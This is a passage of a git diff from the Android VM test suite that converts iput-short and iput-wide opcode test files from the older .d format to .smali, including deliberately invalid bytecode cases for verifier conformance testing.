+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d
deleted file mode 100644
index 0a091e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_3.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_3
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-short v0, v2, dot.junit.opcodes.iput_short.d.T_iput_short_3.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali
new file mode 100644
index 0000000..c740adb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_3.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_3;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d
deleted file mode 100644
index 51d2ea8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_30.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_30
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_short/d/T_iput_short_30
-    const v1, 0
-    iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_30.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali
new file mode 100644
index 0000000..4737df5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_30.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_30;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d
deleted file mode 100644
index 790c99e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_31.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_31
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_31.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali
new file mode 100644
index 0000000..4a461df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_31.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_31;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d
deleted file mode 100644
index f201a30..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_4.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_4
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-short v3, v2, dot.junit.opcodes.iput_short.d.T_iput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali
new file mode 100644
index 0000000..a959f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_4.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-short v3, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d
deleted file mode 100644
index b395108..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_7.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_7
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_7.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali
new file mode 100644
index 0000000..b865442
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_7.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_7;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d
deleted file mode 100644
index 05b5100..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_8.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/TestStubs/<init>()V
-
-       const v1, 0
-       iput-short v1, v0, dot.junit.opcodes.iput_short.TestStubs.TestStubField S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali
new file mode 100644
index 0000000..bd4f389
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_8.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d
deleted file mode 100644
index 1a1555e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_9.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_9
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_9noclass.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali
new file mode 100644
index 0000000..316ff5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_9.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d
deleted file mode 100644
index cae692f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_1.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_1
-.super java/lang/Object
-
-.field public  st_i1 J
-.field protected  st_p1 J
-.field private  st_pvt1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()J
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_pvt1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 778899112233
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali
new file mode 100644
index 0000000..dd5d314
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+.super Ljava/lang/Object;
+.source "T_iput_wide_1.java"
+
+
+# instance fields
+.field public st_i1:J
+
+.field protected st_p1:J
+
+.field private st_pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public getPvtField()J
+    .registers 3
+
+    iget-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_pvt1:J
+
+    return-wide v0
+.end method
+
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0xb55a014129L
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d
deleted file mode 100644
index 1ba4cac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_10.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_10
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_10.st_i1N J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali
new file mode 100644
index 0000000..69eae12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_10.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d
deleted file mode 100644
index d3401d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_11.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/TestStubs/<init>()V
-       
-       const-wide v1, 1
-       iput-wide v1, v0, dot.junit.opcodes.iput_wide.TestStubs.TestStubFieldFinal J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali
new file mode 100644
index 0000000..a581e16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_11.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 1
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d
deleted file mode 100644
index a386a54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_12.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_12
-.super java/lang/Object
-
-.field public  final st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 77
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_12.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali
new file mode 100644
index 0000000..0901158
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_12.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:J
+
